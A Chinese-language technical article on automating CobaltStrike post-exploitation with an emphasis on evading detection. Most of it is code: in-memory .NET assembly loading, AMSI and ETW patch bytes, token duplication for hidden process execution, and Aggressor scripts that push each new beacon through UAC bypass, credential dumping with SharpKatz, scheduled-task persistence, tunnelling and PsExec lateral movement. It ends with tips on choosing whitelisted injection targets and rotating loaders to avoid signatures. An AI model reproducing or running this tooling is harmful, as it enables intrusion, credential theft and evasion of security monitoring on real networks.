基于 OPSEC 的 CobaltStrike 后渗透自动化链
字数 1496 2025-08-05 11:39:43
CobaltStrike 后渗透自动化链设计与实现
1. 背景与现状分析
1.1 当前困境
- 上线时间不可控:钓鱼攻击中目标上线时间难以预测,无法24小时值守
- 重复性工作:HW场景下主机信息收集、权限维持等操作高度重复
- 协作效率低:多人协作时容易重复收集相同信息
- 隐蔽性不足:传统自动化链使用敏感命令(brun/bshell等)易被检测
1.2 现有技术缺陷
- 使用
cmd.exe、powershell.exe等敏感进程 - 直接调用
wmic等系统命令触发告警 - Defender会标记
LaunchingSuspCMD行为 - 传统
execute-assembly采用fork&run模式易被检测
2. 核心设计原则
2.1 OPSEC原则
- C2隐匿:HTTPS加密、修改JARM/JA3指纹、中间件中转
- 流量仿真:定制Malleable C2 Profile模拟业务流量
- 无文件落地:内存加载执行
- 最小化进程创建:避免新进程产生
2.2 技术选型
| 技术类型 | 代表方案 | 优势 |
|---|---|---|
| BOF | beacon_inline_execute | 无新进程、C语言开发 |
| .NET内存加载 | InlineExecute-Assembly | 免杀、支持大型程序集 |
| 隐蔽命令执行 | 令牌复制+CreateProcessAsUser | 绕过AV监控 |
3. 关键技术实现
3.1 隐蔽注入C#程序
3.1.1 实现原理
- CLR初始化:
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&iMetaHost);
iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo);
iRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&iRuntimeHost);
iRuntimeHost->Start();
- 获取AppDomain:
iRuntimeHost->GetDefaultDomain(&pAppDomain);
pAppDomain->QueryInterface(__uuidof(_AppDomain), (VOID**)&pDefaultAppDomain);
- 程序集加载执行:
pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);
pAssembly->get_EntryPoint(&pMethodInfo);
pMethodInfo->Invoke_3(vObj, args, &vRet);
3.1.2 优化方案对比
| 项目 | 架构支持 | AMSI绕过 | ETW绕过 | 输出重定向 |
|---|---|---|---|---|
| ExecuteAssembly | x64 only | 支持 | 支持 | 无 |
| inject-assembly | x64 only | 支持 | 支持 | 命名管道 |
| InlineExecute-Assembly | x86/x64 | 支持 | 支持 | 邮槽/管道 |
3.1.3 关键技术点
- 自动CLR版本检测:
BOOL FindVersion(void *assembly, int length) {
char v4[] = {0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39};
// 搜索程序集字节特征
}
- AMSI绕过:
unsigned char amsiPatch[] = {0xB8,0x57,0x00,0x07,0x80,0xC3}; //x64
NtProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &OldProtection);
NtWriteVirtualMemory(NtCurrentProcess(), pAddress, amsiPatch, sizeof(amsiPatch), NULL);
- ETW绕过:
unsigned char etwPatch[] = {0}; // 根据架构设置
NtWriteVirtualMemory(NtCurrentProcess(), pAddress, etwPatch, sizeof(etwPatch), NULL);
3.2 隐蔽命令执行
// 令牌复制
var hToken = WindowsIdentity.GetCurrent().Token;
win32.DuplicateTokenEx(hToken, win32.GENERIC_ALL_ACCESS, ref sa,
(int)win32.SECURITY_IMPERSONATION_LEVEL.SecurityIdentification,
(int)win32.TOKEN_TYPE.TokenPrimary, ref hDupedToken);
// 创建进程
win32.CreateProcessAsUser(hDupedToken, null, cmdline, ref sa, ref sa,
true, win32.NORMAL_PRIORITY_CLASS | win32.CREATE_NO_WINDOW,
IntPtr.Zero, null, ref si, ref pi);
// 输出重定向
while(true) {
win32.ReadFile(hRead, buf, (uint)buf.Length, out BytesRead, IntPtr.Zero);
Console.Write(Encoding.UTF8.GetString(buf, 0, (int)BytesRead));
}
4. 自动化链设计
4.1 执行场景判断
on beacon_initial {
// 存活会话统计
$x = 0; $y = 0; $z = 0;
foreach $bid (beacon_ids()) {
if(-isactive $bid && $lastTime <= 60000) {
if($hName eq $computerName && $inIP eq $internalIP) {
$x++;
if(-isadmin $bid) { $y++; }
$z = $x - $y;
}
}
}
// 场景路由
if(!-isadmin $1) {
if($x < 2) {
NormalUser_Chain($1);
BypassUAC($1);
}
} else {
if($y < 2 && $z > 0) {
OnlyAdmin_Chain($1);
} else if($y < 2 && $z < 1) {
NormalUser_Chain($1);
OnlyAdmin_Chain($1);
}
}
}
4.2 功能模块示例
4.2.1 普通用户链
sub NormalUser_Chain {
UP_Loader($1);
beacon_inline_execute($1, readbof($1, "whoami"), "go", $null);
inlineExecute-Assembly($1, script_resource("/scripts/SharpHunter.exe"), "sys");
inlineExecute-Assembly($1, script_resource("/scripts/SharpHostInfo.exe"), "-i $internalIP /24");
}
4.2.2 BypassUAC
sub BypassUAC {
inlineExecute-Assembly($1, script_resource("/scripts/SharpBypassUAC.exe"),
"-b computerdefaults -e $b64encodeFullPath");
}
4.2.3 管理员链
sub OnlyAdmin_Chain {
inlineExecute-Assembly($1, script_resource("/scripts/SharpKatz.exe"), "");
Pillager($1);
inlineExecute-Assembly($1, script_resource("/scripts/SharpSchTask.exe"),
"$LoaderFullPath 1");
}
4.3 结果交互机制
on beacon_output {
$message = $2;
if("[*] Hunt End" isin $message) {
@lines = split("\n", $message);
foreach $line (@lines) {
if("Antivirus" isin $line) {
$antivirus = split(": ", $line)[1];
bupdate($1, "Antivirus", $antivirus);
}
// 其他信息提取...
}
}
}
5. 完整流程示例
5.1 标准自动化链
- 上线提醒推送
- Loader上传
- 基础信息收集
- 屏幕截图
- 内网主机探测
- BypassUAC提权
- 凭据获取
- 隐蔽权限维持
- 隧道构建
- 横向移动
5.2 代码实现
http_get($onlineUrl);
UP_Loader($1, $LoaderPath, $LoaderPath);
PC_Getinfo($1);
SC_Command($1, $LoaderPath);
UP_Tunnel($1, $TunnelPath, $TunnelPath);
PassCapture($1);
Run_Scanner($1, $internalIP);
PsExec($1);
6. 防御规避策略
6.1 进程注入选择
- 优先选择
Microsoft.Uev.SyncController.exe等白名单进程 - 避免注入到
explorer.exe等监控严格的进程
6.2 敏感操作规避
- 避免使用
logonpasswords等敏感命令 - 使用BOF替代
bspawn等原生命令 - 通过
beacon_inline_execute执行高危操作
6.3 权限维持技巧
- 使用计划任务而非注册表键
- 采用多种维持方式组合
- 定期更新Loader避免特征检测